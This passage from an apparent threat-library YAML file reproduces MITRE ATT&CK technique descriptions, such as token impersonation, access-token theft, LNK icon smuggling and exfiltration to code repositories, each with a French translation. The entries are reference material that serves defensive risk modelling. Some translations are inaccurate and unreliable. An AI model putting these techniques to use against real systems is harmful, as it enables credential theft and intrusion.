    ref_id: T1654
    name: Log Enumeration
    description: "Adversaries may enumerate system and service logs to find useful\
      \ data. These logs may highlight various types of valuable insights for an adversary,\
      \ such as user authentication records ([Account Discovery](https://attack.mitre.org/techniques/T1087)),\
      \ security or vulnerable software ([Software Discovery](https://attack.mitre.org/techniques/T1518)),\
      \ or hosts within a compromised network ([Remote System Discovery](https://attack.mitre.org/techniques/T1018)).\n\
      \nHost binaries may be leveraged to collect system logs. Examples include using\
      \ `wevtutil.exe` or [PowerShell](https://attack.mitre.org/techniques/T1059/001)\
      \ on Windows to access and/or export security event information.(Citation: WithSecure\
      \ Lazarus-NoPineapple Threat Intel Report 2023)(Citation: Cadet Blizzard emerges\
      \ as novel threat actor) In cloud environments, adversaries may leverage utilities\
      \ such as the Azure VM Agent\u2019s `CollectGuestLogs.exe` to collect security\
      \ logs from cloud hosted infrastructure.(Citation: SIM Swapping and Abuse of\
      \ the Microsoft Azure Serial Console)\n\nAdversaries may also target centralized\
      \ logging infrastructure such as SIEMs. Logs may also be bulk exported and sent\
      \ to adversary-controlled infrastructure for offline analysis.\n\nIn addition\
      \ to gaining a better understanding of the environment, adversaries may also\
      \ monitor logs in real time to track incident response procedures. This may\
      \ allow them to adjust their techniques in order to maintain persistence or\
      \ evade defenses.(Citation: Permiso GUI-Vil 2023)\nhttps://attack.mitre.org/techniques/T1654"
    translations:
      fr:
        name: "\xC9num\xE9ration des journaux"
        description: "Les adversaires peuvent \xE9num\xE9rer les journaux du syst\xE8\
          me et des services pour trouver des donn\xE9es utiles. Ces journaux peuvent\
          \ mettre en \xE9vidence divers types d\u2019informations pr\xE9cieuses pour\
          \ un adversaire, telles que les enregistrements d\u2019authentification\
          \ des utilisateurs ([Account Discovery](https://attack.mitre.org/techniques/T1087)),\
          \ les logiciels de s\xE9curit\xE9 ou vuln\xE9rables ([Software Discovery](https://attack.mitre.org/techniques/T1518)),\
          \ ou les h\xF4tes au sein d\u2019un r\xE9seau compromis ([Remote System\
          \ Discovery](https://attack.mitre.org/techniques/T1018)).\n\nLes fichiers\
          \ binaires de l\u2019h\xF4te peuvent \xEAtre exploit\xE9s pour collecter\
          \ les journaux syst\xE8me. Par exemple, l\u2019utilisation de \xAB wevtutil.exe\
          \ \xBB ou de [PowerShell](https://attack.mitre.org/techniques/T1059/001)\
          \ sous Windows pour acc\xE9der et/ou exporter des informations sur les \xE9\
          v\xE9nements de s\xE9curit\xE9. (Citation : Rapport d\u2019information sur\
          \ la menace WithSecure Lazarus-NoPineapple 2023)(Citation : Le cadet Blizzard\
          \ \xE9merge comme un nouvel acteur de menace) Dans les environnements cloud,\
          \ les adversaires peuvent tirer parti d\u2019utilitaires tels que le \xAB\
          \ CollectGuestLogs.exe \xBB de l\u2019agent de machine virtuelle Azure pour\
          \ collecter les journaux de s\xE9curit\xE9 \xE0 partir d\u2019une infrastructure\
          \ h\xE9berg\xE9e dans le cloud. (Citation : \xC9change de carte SIM et abus\
          \ de la console s\xE9rie Microsoft Azure)\n\nLes adversaires peuvent \xE9\
          galement cibler une infrastructure de journalisation centralis\xE9e telle\
          \ que les SIEM. Les journaux peuvent \xE9galement \xEAtre export\xE9s en\
          \ bloc et envoy\xE9s \xE0 une infrastructure contr\xF4l\xE9e par l\u2019\
          adversaire pour une analyse hors ligne.\n\nEn plus d\u2019acqu\xE9rir une\
          \ meilleure compr\xE9hension de l\u2019environnement, les adversaires peuvent\
          \ \xE9galement surveiller les journaux en temps r\xE9el pour suivre les\
          \ proc\xE9dures de r\xE9ponse aux incidents. Cela peut leur permettre d\u2019\
          ajuster leurs techniques afin de maintenir leur persistance ou d\u2019\xE9\
          chapper aux d\xE9fenses. (R\xE9f\xE9rence : Permiso GUI-Vil 2023)\nhttps://attack.mitre.org/techniques/T1654"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1134.001
    ref_id: T1134.001
    name: Token Impersonation/Theft
    description: 'Adversaries may duplicate then impersonate another user''s existing
      token to escalate privileges and bypass access controls. For example, an adversary
      can duplicate an existing token using `DuplicateToken` or `DuplicateTokenEx`.(Citation:
      DuplicateToken function) The token can then be used with `ImpersonateLoggedOnUser`
      to allow the calling thread to impersonate a logged on user''s security context,
      or with `SetThreadToken` to assign the impersonated token to a thread.


      An adversary may perform [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001)
      when they have a specific, existing process they want to assign the duplicated
      token to. For example, this may be useful for when the target user has a non-network
      logon session on the system.


      When an adversary would instead use a duplicated token to create a new process
      rather than attaching to an existing process, they can additionally [Create
      Process with Token](https://attack.mitre.org/techniques/T1134/002) using `CreateProcessWithTokenW`
      or `CreateProcessAsUserW`. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001)
      is also distinct from [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003)
      in that it refers to duplicating an existing token, rather than creating a new
      one.

      https://attack.mitre.org/techniques/T1134/001'
    translations:
      fr:
        name: "Usurpation d\u2019identit\xE9/vol de jetons"
        description: "Les adversaires peuvent dupliquer puis usurper l\u2019identit\xE9\
          \ du jeton existant d\u2019un autre utilisateur pour \xE9lever les privil\xE8\
          ges et contourner les contr\xF4les d\u2019acc\xE8s. Par exemple, un adversaire\
          \ peut dupliquer un jeton existant \xE0 l\u2019aide de \xAB DuplicateToken\
          \ \xBB ou de \xAB DuplicateTokenEx \xBB. (Citation : Fonction DuplicateToken)\
          \ Le jeton peut ensuite \xEAtre utilis\xE9 avec \xAB ImpersonateLoggedOnUser\
          \ \xBB pour permettre au thread appelant d\u2019emprunter l\u2019identit\xE9\
          \ d\u2019un utilisateur connect\xE9 dans le contexte de s\xE9curit\xE9 d\u2019\
          un utilisateur connect\xE9, ou avec \xAB SetThreadToken \xBB pour attribuer\
          \ le jeton emprunt\xE9 \xE0 un thread.\n\nUn adversaire peut effectuer [Usurpation\
          \ d\u2019identit\xE9/Vol de jeton](https://attack.mitre.org/techniques/T1134/001)\
          \ lorsqu\u2019il dispose d\u2019un processus sp\xE9cifique existant auquel\
          \ il souhaite attribuer le jeton dupliqu\xE9. Par exemple, cela peut \xEA\
          tre utile lorsque l\u2019utilisateur cible dispose d\u2019une session d\u2019\
          ouverture de session non r\xE9seau sur le syst\xE8me.\n\nLorsqu\u2019un\
          \ adversaire utilise plut\xF4t un jeton dupliqu\xE9 pour cr\xE9er un nouveau\
          \ processus plut\xF4t que de l\u2019attacher \xE0 un processus existant,\
          \ il peut \xE9galement [Cr\xE9er un processus avec un jeton](https://attack.mitre.org/techniques/T1134/002)\
          \ \xE0 l\u2019aide de 'CreateProcessWithTokenW' ou 'CreateProcessAsUserW'.\
          \ [Usurpation d\u2019identit\xE9/vol de jetons](https://attack.mitre.org/techniques/T1134/001)\
          \ se distingue \xE9galement de [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003)\
          \ en ce sens qu\u2019il fait r\xE9f\xE9rence \xE0 la duplication d\u2019\
          un token existant, plut\xF4t qu\u2019\xE0 la cr\xE9ation d\u2019un nouveau.\n\
          https://attack.mitre.org/techniques/T1134/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1567.001
    ref_id: T1567.001
    name: Exfiltration to Code Repository
    description: 'Adversaries may exfiltrate data to a code repository rather than
      over their primary command and control channel. Code repositories are often
      accessible via an API (ex: https://api.github.com). Access to these APIs are
      often over HTTPS, which gives the adversary an additional level of protection.


      Exfiltration to a code repository can also provide a significant amount of cover
      to the adversary if it is a popular service already used by hosts within the
      network.

      https://attack.mitre.org/techniques/T1567/001'
    translations:
      fr:
        name: "Exfiltration vers le d\xE9p\xF4t de code"
        description: "Les adversaires peuvent exfiltrer des donn\xE9es vers un r\xE9\
          f\xE9rentiel de code plut\xF4t que sur leur canal de commande et de contr\xF4\
          le principal. Les d\xE9p\xF4ts de code sont souvent accessibles via une\
          \ API (ex : https://api.github.com). L\u2019acc\xE8s \xE0 ces API se fait\
          \ souvent via HTTPS, ce qui donne \xE0 l\u2019adversaire un niveau de protection\
          \ suppl\xE9mentaire.\n\nL\u2019exfiltration vers un r\xE9f\xE9rentiel de\
          \ code peut \xE9galement fournir une couverture importante \xE0 l\u2019\
          adversaire s\u2019il s\u2019agit d\u2019un service populaire d\xE9j\xE0\
          \ utilis\xE9 par les h\xF4tes du r\xE9seau.\nhttps://attack.mitre.org/techniques/T1567/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1021.007
    ref_id: T1021.007
    name: Cloud Services
    description: "Adversaries may log into accessible cloud services within a compromised\
      \ environment using [Valid Accounts](https://attack.mitre.org/techniques/T1078)\
      \ that are synchronized with or federated to on-premises user identities. The\
      \ adversary may then perform management actions or access cloud-hosted resources\
      \ as the logged-on user. \n\nMany enterprises federate centrally managed user\
      \ identities to cloud services, allowing users to login with their domain credentials\
      \ in order to access the cloud control plane. Similarly, adversaries may connect\
      \ to available cloud services through the web console or through the cloud command\
      \ line interface (CLI) (e.g., [Cloud API](https://attack.mitre.org/techniques/T1059/009)),\
      \ using commands such as <code>Connect-AZAccount</code> for Azure PowerShell,\
      \ <code>Connect-MgGraph</code> for Microsoft Graph PowerShell, and <code>gcloud\
      \ auth login</code> for the Google Cloud CLI.\n\nIn some cases, adversaries\
      \ may be able to authenticate to these services via [Application Access Token](https://attack.mitre.org/techniques/T1550/001)\
      \ instead of a username and password.\nhttps://attack.mitre.org/techniques/T1021/007"
    translations:
      fr:
        name: Cloud Services
        description: "Les adversaires peuvent se connecter \xE0 des services cloud\
          \ accessibles dans un environnement compromis \xE0 l\u2019aide de [comptes\
          \ valides](https://attack.mitre.org/techniques/T1078) synchronis\xE9s ou\
          \ f\xE9d\xE9r\xE9s avec les identit\xE9s des utilisateurs locaux. L\u2019\
          adversaire peut alors effectuer des actions de gestion ou acc\xE9der aux\
          \ ressources h\xE9berg\xE9es dans le cloud en tant qu\u2019utilisateur connect\xE9\
          . \n\nDe nombreuses entreprises f\xE9d\xE8rent les identit\xE9s des utilisateurs\
          \ g\xE9r\xE9es de mani\xE8re centralis\xE9e vers les services cloud, ce\
          \ qui permet aux utilisateurs de se connecter avec leurs informations d\u2019\
          identification de domaine afin d\u2019acc\xE9der au plan de contr\xF4le\
          \ du cloud. De m\xEAme, les adversaires peuvent se connecter aux services\
          \ cloud disponibles via la console web ou via l\u2019interface de ligne\
          \ de commande (CLI) cloud (par exemple, [Cloud API](https://attack.mitre.org/techniques/T1059/009)),\
          \ \xE0 l\u2019aide de commandes telles que <code>Connect-AZAccount</code>\
          \ pour Azure PowerShell, <code>Connect-MgGraph</code> pour Microsoft Graph\
          \ PowerShell et <code>gcloud auth login</code> pour l\u2019interface de\
          \ ligne de commande Google Cloud.\n\nDans certains cas, les adversaires\
          \ peuvent \xEAtre en mesure de s\u2019authentifier aupr\xE8s de ces services\
          \ via [Jeton d\u2019acc\xE8s \xE0 l\u2019application](https://attack.mitre.org/techniques/T1550/001)\
          \ au lieu d\u2019un nom d\u2019utilisateur et d\u2019un mot de passe.\n\
          https://attack.mitre.org/techniques/T1021/007"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1205.001
    ref_id: T1205.001
    name: Port Knocking
    description: 'Adversaries may use port knocking to hide open ports used for persistence
      or command and control. To enable a port, an adversary sends a series of attempted
      connections to a predefined sequence of closed ports. After the sequence is
      completed, opening a port is often accomplished by the host based firewall,
      but could also be implemented by custom software.


      This technique has been observed both for the dynamic opening of a listening
      port as well as the initiating of a connection to a listening server on a different
      system.


      The observation of the signal packets to trigger the communication can be conducted
      through different methods. One means, originally implemented by Cd00r (Citation:
      Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets
      in question. Another method leverages raw sockets, which enables the malware
      to use ports that are already open for use by other programs.

      https://attack.mitre.org/techniques/T1205/001'
    translations:
      fr:
        name: Cognement de port
        description: "Les adversaires peuvent utiliser le cognement de port pour masquer\
          \ les ports ouverts utilis\xE9s pour la persistance ou la commande et le\
          \ contr\xF4le. Pour activer un port, un adversaire envoie une s\xE9rie de\
          \ tentatives de connexion \xE0 une s\xE9quence pr\xE9d\xE9finie de ports\
          \ ferm\xE9s. Une fois la s\xE9quence termin\xE9e, l\u2019ouverture d\u2019\
          un port est souvent effectu\xE9e par le pare-feu bas\xE9 sur l\u2019h\xF4\
          te, mais peut \xE9galement \xEAtre mise en \u0153uvre par un logiciel personnalis\xE9\
          .\n\nCette technique a \xE9t\xE9 observ\xE9e \xE0 la fois pour l\u2019ouverture\
          \ dynamique d\u2019un port d\u2019\xE9coute et pour l\u2019initiation d\u2019\
          une connexion \xE0 un serveur d\u2019\xE9coute sur un syst\xE8me diff\xE9\
          rent.\n\nL\u2019observation des paquets de signaux pour d\xE9clencher la\
          \ communication peut \xEAtre effectu\xE9e par diff\xE9rentes m\xE9thodes.\
          \ Un moyen, mis en \u0153uvre \xE0 l\u2019origine par Cd00r (Citation\_\
          : Hartrell cd00r 2002), est d\u2019utiliser les biblioth\xE8ques libpcap\
          \ pour renifler les paquets en question. Une autre m\xE9thode exploite les\
          \ sockets bruts, ce qui permet au logiciel malveillant d\u2019utiliser des\
          \ ports d\xE9j\xE0 ouverts pour \xEAtre utilis\xE9s par d\u2019autres programmes.\n\
          https://attack.mitre.org/techniques/T1205/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1027.012
    ref_id: T1027.012
    name: LNK Icon Smuggling
    description: "Adversaries may smuggle commands to download malicious payloads\
      \ past content filters by hiding them within otherwise seemingly benign windows\
      \ shortcut files. Windows shortcut files (.LNK) include many metadata fields,\
      \ including an icon location field (also known as the `IconEnvironmentDataBlock`)\
      \ designed to specify the path to an icon file that is to be displayed for the\
      \ LNK file within a host directory. \n\nAdversaries may abuse this LNK metadata\
      \ to download malicious payloads. For example, adversaries have been observed\
      \ using LNK files as phishing payloads to deliver malware. Once invoked (e.g.,\
      \ [Malicious File](https://attack.mitre.org/techniques/T1204/002)), payloads\
      \ referenced via external URLs within the LNK icon location field may be downloaded.\
      \ These files may also then be invoked by [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)/[System\
      \ Binary Proxy Execution](https://attack.mitre.org/techniques/T1218) arguments\
      \ within the target path field of the LNK.(Citation: Unprotect Shortcut)(Citation:\
      \ Booby Trap Shortcut 2017)\n\nLNK Icon Smuggling may also be utilized post\
      \ compromise, such as malicious scripts executing an LNK on an infected host\
      \ to download additional malicious payloads.\nhttps://attack.mitre.org/techniques/T1027/012"
    translations:
      fr:
        name: "Contrebande d\u2019ic\xF4nes LNK"
        description: "Les adversaires peuvent faire passer en contrebande des commandes\
          \ pour t\xE9l\xE9charger des charges utiles malveillantes au-del\xE0 des\
          \ filtres de contenu en les cachant dans des fichiers de raccourcis Windows\
          \ apparemment inoffensifs. Fichiers de raccourci Windows (. LNK) incluent\
          \ de nombreux champs de m\xE9tadonn\xE9es, y compris un champ d\u2019emplacement\
          \ d\u2019ic\xF4ne (\xE9galement connu sous le nom de \xAB IconEnvironmentDataBlock\
          \ \xBB) con\xE7u pour sp\xE9cifier le chemin d\u2019acc\xE8s \xE0 un fichier\
          \ d\u2019ic\xF4ne qui doit \xEAtre affich\xE9 pour le fichier LNK dans un\
          \ r\xE9pertoire h\xF4te. \n\nLes adversaires peuvent abuser de ces m\xE9\
          tadonn\xE9es LNK pour t\xE9l\xE9charger des charges utiles malveillantes.\
          \ Par exemple, des adversaires ont \xE9t\xE9 observ\xE9s en train d\u2019\
          utiliser des fichiers LNK comme charges utiles de phishing pour diffuser\
          \ des logiciels malveillants. Une fois appel\xE9es (par exemple, [Fichier\
          \ malveillant](https://attack.mitre.org/techniques/T1204/002)), les charges\
          \ utiles r\xE9f\xE9renc\xE9es via des URL externes dans le champ d\u2019\
          emplacement de l\u2019ic\xF4ne LNK peuvent \xEAtre t\xE9l\xE9charg\xE9es.\
          \ Ces fichiers peuvent \xE9galement \xEAtre invoqu\xE9s par les arguments\
          \ [Interpr\xE9teur de commandes et de scripts](https://attack.mitre.org/techniques/T1059)/[Ex\xE9\
          cution de proxy binaire syst\xE8me](https://attack.mitre.org/techniques/T1218)\
          \ dans le champ de chemin cible de la LNK. (Citation : Raccourci de d\xE9\
          protection)(Citation : Booby Trap Shortcut 2017)\n\nLa contrebande d\u2019\
          ic\xF4nes LNK peut \xE9galement \xEAtre utilis\xE9e apr\xE8s la compromission,\
          \ par exemple par des scripts malveillants ex\xE9cutant un LNK sur un h\xF4\
          te infect\xE9 pour t\xE9l\xE9charger des charges utiles malveillantes suppl\xE9\
          mentaires.\nhttps://attack.mitre.org/techniques/T1027/012"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1583.006
    ref_id: T1583.006
    name: Web Services
    description: "Adversaries may register for web services\_that can be used during\
      \ targeting. A variety of popular websites exist for adversaries to register\
      \ for a web-based service that can be abused during later stages of the adversary\
      \ lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)),\
      \ [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567),\
      \ or [Phishing](https://attack.mitre.org/techniques/T1566). Using common services,\
      \ such as those offered by Google or Twitter, makes it easier for adversaries\
      \ to hide in expected noise.(Citation: FireEye APT29) By utilizing a web service,\
      \ adversaries can make it difficult to physically tie back operations to them.\n\
      https://attack.mitre.org/techniques/T1583/006"
    translations:
      fr:
        name: Web Services
        description: "Les adversaires peuvent s\u2019inscrire \xE0 des services Web\
          \ qui peuvent \xEAtre utilis\xE9s lors du ciblage. Il existe une vari\xE9\
          t\xE9 de sites Web populaires permettant aux adversaires de s\u2019inscrire\
          \ \xE0 un service Web qui peut \xEAtre utilis\xE9 de mani\xE8re abusive\
          \ au cours des \xE9tapes ult\xE9rieures du cycle de vie de l\u2019adversaire,\
          \ par exemple pendant le commandement et le contr\xF4le ([Service Web](https://attack.mitre.org/techniques/T1102)),\
          \ [Exfiltration sur le service Web](https://attack.mitre.org/techniques/T1567)\
          \ ou [Phishing](https://attack.mitre.org/techniques/T1566). L\u2019utilisation\
          \ de services courants, tels que ceux propos\xE9s par Google ou Twitter,\
          \ permet aux adversaires de se cacher plus facilement dans le bruit attendu.\
          \ (R\xE9f\xE9rence : FireEye APT29) En utilisant un service Web, les adversaires\
          \ peuvent rendre difficile le lien physique entre les op\xE9rations et eux.\n\
          https://attack.mitre.org/techniques/T1583/006"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1528
    ref_id: T1528
    name: Steal Application Access Token
    description: "Adversaries can steal application access tokens as a means of acquiring\
      \ credentials to access remote systems and resources.\n\nApplication access\
      \ tokens are used to make authorized API requests on behalf of a user or service\
      \ and are commonly used as a way to access resources in cloud and container-based\
      \ applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should\
      \ Always Use Access Tokens to Secure APIs Sept 2019)  Adversaries who steal\
      \ account API tokens in cloud and containerized environments may be able to\
      \ access data and perform actions with the permissions of these accounts, which\
      \ can lead to privilege escalation and further compromise of the environment.\n\
      \nFor example, in Kubernetes environments, processes running inside a container\
      \ may communicate with the Kubernetes API server using service account tokens.\
      \ If a container is compromised, an adversary may be able to steal the container\u2019\
      s token and thereby gain access to Kubernetes API commands.(Citation: Kubernetes\
      \ Service Accounts)  Similarly, instances within continuous-development / continuous-integration\
      \ (CI/CD) pipelines will often use API tokens to authenticate to other services\
      \ for testing and deployment.(Citation: Cider Security Top 10 CICD Security\
      \ Risks) If these pipelines are compromised, adversaries may be able to steal\
      \ these tokens and leverage their privileges.\n\nToken theft can also occur\
      \ through social engineering, in which case user action may be required to grant\
      \ access. OAuth is one commonly implemented framework that issues tokens to\
      \ users for access to systems. An application desiring access to cloud-based\
      \ services or protected APIs can gain entry using OAuth 2.0 through a variety\
      \ of authorization protocols. An example commonly-used sequence is Microsoft's\
      \ Authorization Code Grant flow.(Citation: Microsoft Identity Platform Protocols\
      \ May 2019)(Citation: Microsoft - OAuth Code Authorization flow - June 2019)\
      \ An OAuth access token enables a third-party application to interact with resources\
      \ containing user data in the ways requested by the application without obtaining\
      \ user credentials. \n \nAdversaries can leverage OAuth authorization by constructing\
      \ a malicious application designed to be granted access to resources with the\
      \ target user's OAuth token.(Citation: Amnesty OAuth Phishing Attacks, August\
      \ 2019)(Citation: Trend Micro Pawn Storm OAuth 2017) The adversary will need\
      \ to complete registration of their application with the authorization server,\
      \ for example Microsoft Identity Platform using Azure Portal, the Visual Studio\
      \ IDE, the command-line interface, PowerShell, or REST API calls.(Citation:\
      \ Microsoft - Azure AD App Registration - May 2019) Then, they can send a [Spearphishing\
      \ Link](https://attack.mitre.org/techniques/T1566/002) to the target user to\
      \ entice them to grant access to the application. Once the OAuth access token\
      \ is granted, the application can gain potentially long-term access to features\
      \ of the user account through [Application Access Token](https://attack.mitre.org/techniques/T1550/001).(Citation:\
      \ Microsoft - Azure AD Identity Tokens - Aug 2019)\n\nApplication access tokens\
      \ may function within a limited lifetime, limiting how long an adversary can\
      \ utilize the stolen token. However, in some cases, adversaries can also steal\
      \ application refresh tokens(Citation: Auth0 Understanding Refresh Tokens),\
      \ allowing them to obtain new access tokens without prompting the user.\nhttps://attack.mitre.org/techniques/T1528"
    translations:
      fr:
        name: "Voler le jeton d\u2019acc\xE8s \xE0 l\u2019application"
        description: "Des adversaires peuvent voler des jetons d'acc\xE8s aux applications\
          \ afin d'acqu\xE9rir des informations d'identification pour acc\xE9der \xE0\
          \ des syst\xE8mes et des ressources distants.\n\nLes jetons d'acc\xE8s aux\
          \ applications sont utilis\xE9s pour effectuer des demandes d'API autoris\xE9\
          es au nom d'un utilisateur ou d'un service et sont couramment utilis\xE9\
          s comme moyen d'acc\xE8s aux ressources dans les applications bas\xE9es\
          \ sur le cloud et les conteneurs, ainsi que dans les logiciels en tant que\
          \ service (SaaS).(Citation : Auth0 - Why You Should Always Use Access Tokens\
          \ to Secure APIs Sept 2019) Les adversaires qui volent des jetons d'API\
          \ de compte dans les environnements cloud et conteneuris\xE9s peuvent \xEA\
          tre en mesure d'acc\xE9der aux donn\xE9es et d'effectuer des actions avec\
          \ les autorisations de ces comptes, ce qui peut conduire \xE0 une escalade\
          \ des privil\xE8ges et \xE0 une compromission plus pouss\xE9e de l'environnement.\n\
          \nPar exemple, dans les environnements Kubernetes, les processus s'ex\xE9\
          cutant dans un conteneur peuvent communiquer avec le serveur API Kubernetes\
          \ \xE0 l'aide de jetons de compte de service. Si un conteneur est compromis,\
          \ un adversaire peut \xEAtre en mesure de voler le jeton du conteneur et\
          \ d'acc\xE9der ainsi aux commandes API de Kubernetes.(Citation : Comptes\
          \ de service Kubernetes) De m\xEAme, les instances au sein des pipelines\
          \ de d\xE9veloppement continu/int\xE9gration continue (CI/CD) utiliseront\
          \ souvent des jetons API pour s'authentifier aupr\xE8s d'autres services\
          \ \xE0 des fins de test et de d\xE9ploiement. (Citation : Cider Security\
          \ Top 10 CICD Security Risks) Si ces pipelines sont compromis, des adversaires\
          \ peuvent \xEAtre en mesure de voler ces jetons et de tirer parti de leurs\
          \ privil\xE8ges.\n\nLe vol de jetons peut \xE9galement se produire par le\
          \ biais de l'ing\xE9nierie sociale, auquel cas une action de l'utilisateur\
          \ peut \xEAtre n\xE9cessaire pour accorder l'acc\xE8s. OAuth est un cadre\
          \ couramment mis en \u0153uvre qui d\xE9livre des jetons aux utilisateurs\
          \ pour l'acc\xE8s aux syst\xE8mes. Une application souhaitant acc\xE9der\
          \ \xE0 des services en nuage ou \xE0 des API prot\xE9g\xE9es peut obtenir\
          \ l'acc\xE8s \xE0 l'aide d'OAuth 2.0 par le biais d'une vari\xE9t\xE9 de\
          \ protocoles d'autorisation. Un exemple de s\xE9quence couramment utilis\xE9\
          e est le flux d'octroi de code d'autorisation de Microsoft.(Citation : Microsoft\
          \ Identity Platform Protocols May 2019)(Citation : Microsoft - OAuth Code\
          \ Authorization flow - June 2019) Un jeton d'acc\xE8s OAuth permet \xE0\
          \ une application tierce d'interagir avec des ressources contenant des donn\xE9\
          es d'utilisateur de la mani\xE8re demand\xE9e par l'application sans obtenir\
          \ les informations d'identification de l'utilisateur.\n\nLes adversaires\
          \ peuvent tirer parti de l'autorisation OAuth en construisant une application\
          \ malveillante con\xE7ue pour se voir accorder l'acc\xE8s aux ressources\
          \ avec le jeton OAuth de l'utilisateur cible.(Citation : Amnesty OAuth Phishing\
          \ Attacks, August 2019)(Citation : Trend Micro Pawn Storm OAuth 2017) L'adversaire\
          \ devra terminer l'enregistrement de son application aupr\xE8s du serveur\
          \ d'autorisation, par exemple Microsoft Identity Platform \xE0 l'aide d'Azure\
          \ Portal, de l'IDE Visual Studio, de l'interface en ligne de commande, de\
          \ PowerShell ou d'appels d'API REST. (Citation : Microsoft - Azure AD App\
          \ Registration - May 2019) Ensuite, ils peuvent envoyer un [Spearphishing\
          \ Link] (https://attack.mitre.org/techniques/T1566/002) \xE0 l'utilisateur\
          \ cible pour l'inciter \xE0 accorder l'acc\xE8s \xE0 l'application. Une\
          \ fois le jeton d'acc\xE8s OAuth accord\xE9, l'application peut obtenir\
          \ un acc\xE8s potentiellement \xE0 long terme aux fonctionnalit\xE9s du\
          \ compte utilisateur par le biais du [jeton d'acc\xE8s \xE0 l'application](https://attack.mitre.org/techniques/T1550/001).(Citation\
          \ : Microsoft - Azure AD Identity Tokens - Aug 2019)\n\nLes jetons d'acc\xE8\
          s aux applications peuvent fonctionner avec une dur\xE9e de vie limit\xE9\
          e, ce qui limite la dur\xE9e pendant laquelle un adversaire peut utiliser\
          \ le jeton vol\xE9. Cependant, dans certains cas, les adversaires peuvent\
          \ \xE9galement voler des jetons de rafra\xEEchissement d'application(Citation\
          \ : Auth0 Understanding Refresh Tokens), ce qui leur permet d'obtenir de\
          \ nouveaux jetons d'acc\xE8s sans demander l'avis de l'utilisateur.\nhttps://attack.mitre.org/techniques/T1528\""
  - urn: urn:intuitem:risk:threat:mitre-attack:t1598.002
    ref_id: T1598.002
    name: Spearphishing Attachment
    description: 'Adversaries may send spearphishing messages with a malicious attachment
      to elicit sensitive information that can be used during targeting. Spearphishing
      for information is an attempt to trick targets into divulging information, frequently
      credentials or other actionable information. Spearphishing for information frequently
      involves social engineering techniques, such as posing as a source with a reason
      to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585)
      or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or
      sending multiple, seemingly urgent messages.


      All forms of spearphishing are electronically delivered social engineering targeted
      at a specific individual, company, or industry. In this scenario, adversaries
      attach a file to the spearphishing email and usually rely upon the recipient
      populating information then returning the file.(Citation: Sophos Attachment)(Citation:
      GitHub Phishery) The text of the spearphishing email usually tries to give a
      plausible reason why the file should be filled-in, such as a request for information
      from a business associate. Adversaries may also use information from previous
      reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)
      or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594))
      to craft persuasive and believable lures.

      https://attack.mitre.org/techniques/T1598/002'
    translations:
      fr:
        name: Accessoire de spearphishing
        description: "Les adversaires peuvent envoyer des messages de spearphishing\
          \ avec une pi\xE8ce jointe malveillante pour obtenir des informations sensibles\
          \ qui peuvent \xEAtre utilis\xE9es lors du ciblage. Le spearphishing pour\
          \ obtenir des informations est une tentative d\u2019inciter les cibles \xE0\
          \ divulguer des informations, souvent des informations d\u2019identification\
          \ ou d\u2019autres informations exploitables. Le spearphishing pour obtenir\
          \ des informations fait souvent appel \xE0 des techniques d\u2019ing\xE9\
          nierie sociale, telles que se faire passer pour une source ayant une raison\
          \ de collecter des informations (ex : [\xC9tablir des comptes](https://attack.mitre.org/techniques/T1585)\
          \ ou [Compromettre des comptes](https://attack.mitre.org/techniques/T1586))\
          \ et/ou envoyer plusieurs messages apparemment urgents.\n\nToutes les formes\
          \ de spearphishing sont des actions d\u2019ing\xE9nierie sociale transmises\
          \ par voie \xE9lectronique et ciblent une personne, une entreprise ou un\
          \ secteur d\u2019activit\xE9 sp\xE9cifique. Dans ce sc\xE9nario, les adversaires\
          \ joignent un fichier \xE0 l\u2019e-mail de spearphishing et s\u2019appuient\
          \ g\xE9n\xE9ralement sur le destinataire pour remplir les informations,\
          \ puis renvoyer le fichier. (citation : Pi\xE8ce jointe Sophos)(Citation\
          \ : Wikip\xE9diatrie de GitHub) Le texte de l\u2019e-mail de spearphishing\
          \ tente g\xE9n\xE9ralement de donner une raison plausible pour laquelle\
          \ le fichier devrait \xEAtre rempli, comme une demande d\u2019informations\
          \ de la part d\u2019un partenaire commercial. Les adversaires peuvent \xE9\
          galement utiliser des informations provenant d\u2019efforts de reconnaissance\
          \ ant\xE9rieurs (par exemple : [Rechercher des sites Web/domaines ouverts](https://attack.mitre.org/techniques/T1593)\
          \ ou [Rechercher des sites Web appartenant \xE0 des victimes](https://attack.mitre.org/techniques/T1594))\
          \ pour cr\xE9er des leurres persuasifs et cr\xE9dibles.\nhttps://attack.mitre.org/techniques/T1598/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1098.001
    ref_id: T1098.001
    name: Additional Cloud Credentials
    description: "Adversaries may add adversary-controlled credentials to a cloud\
      \ account to maintain persistent access to victim accounts and instances within\
      \ the environment.\n\nFor example, adversaries may add credentials for Service\
      \ Principals and Applications in addition to existing legitimate credentials\
      \ in Azure / Entra ID.(Citation: Microsoft SolarWinds Customer Guidance)(Citation:\
      \ Blue Cloud of Death)(Citation: Blue Cloud of Death Video) These credentials\
      \ include both x509 keys and passwords.(Citation: Microsoft SolarWinds Customer\
      \ Guidance) With sufficient permissions, there are a variety of ways to add\
      \ credentials including the Azure Portal, Azure command line interface, and\
      \ Azure or Az PowerShell modules.(Citation: Demystifying Azure AD Service Principals)\n\
      \nIn infrastructure-as-a-service (IaaS) environments, after gaining access through\
      \ [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004), adversaries\
